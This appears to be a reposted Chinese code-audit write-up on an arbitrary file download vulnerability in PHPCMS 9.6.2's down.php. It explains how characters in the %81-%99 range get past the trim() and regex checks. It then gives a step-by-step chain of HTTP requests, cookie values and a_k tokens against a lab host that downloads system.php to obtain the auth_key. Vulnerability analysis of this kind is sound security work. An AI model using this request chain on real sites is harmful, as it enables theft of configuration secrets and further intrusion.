代码审计-phpcms9.6.2任意文件下载漏洞

漏洞文件:

phpcmsmodulescontentdown.php

1、在download函数中对文件的校验部分 首先

if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));

$fileurl = trim($f);

$f为文件变量 首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:”外链文件,是否”..”目录跳转,满足其中一个条件就返回True(不满足下载条件)

这里可以使用一些空白字符进行绕过

2、接着$f的值赋给了$fileurl参数,再做了一次内容判断。

$fileurl = trim($f);

if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));

这里使用了trim函数对空白字符进行处理,也是可以绕过的,%81-%99间的字符是不会被trim去掉的且在windows中还能正常访问到相应的文件,如下图所示。

因此通过使用%81-%99间的字符来绕过补丁进行任意文件下载,需要构造好a_k的值,才能进行下载

第一步:进行如下请求获得YDVIB_siteid的值。

请求:

[GET]http://192.168.5.160/index.php?m=wap&c=index&a=init&siteid=1

获得:

[cookie]21ebz8zRmJ8Y_m7OM_VlHrRvxdMisgtDGXxRQRCF

第二步:在[POST DATA] 中的userid_flash参数的值设置为,第一步请求得到的YDVIB_siteid参数的值,并进行如下请求。

请求:

[GET] http://192.168.5.160/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%253ep%2581%26modelid=1%26d=1&aid=1

[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

获得:

[cookie] YDVIB_att_json:dfefgKrvvX3Dihf2dKENiuH78N1LocF9TtzPiiTrpHoOV4kuAaY56OISz7SsUbDxC-DglgikxBKdqM6DzIBILxWpxA5_B6lDJbHq8V20LWUJIHiBIhazs7lyseq8B033wtpS7bjiv-Mz4_RuAFW3lZ_mNz4mFD5ur7cmv_3OKYh5Bj8

第三步:将GET请求中的a_k参数的值设置为第二步请求获得的YDVIB_att_json参数的值,并进行如下请求。

请求:

[get] http://192.168.5.160/index.php?m=content&c=down&a=init&a_k=dfefgKrvvX3Dihf2dKENiuH78N1LocF9TtzPiiTrpHoOV4kuAaY56OISz7SsUbDxC-DglgikxBKdqM6DzIBILxWpxA5_B6lDJbHq8V20LWUJIHiBIhazs7lyseq8B033wtpS7bjiv-Mz4_RuAFW3lZ_mNz4mFD5ur7cmv_3OKYh5Bj8

最后点击”点击下载”的按钮进行如下请求,便可以下载/caches/configs/system.php文件,得到里面的’auth_key’

http://192.168.5.160//index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

原文地址:https://www.cnblogs.com/-qing-/p/10853474.html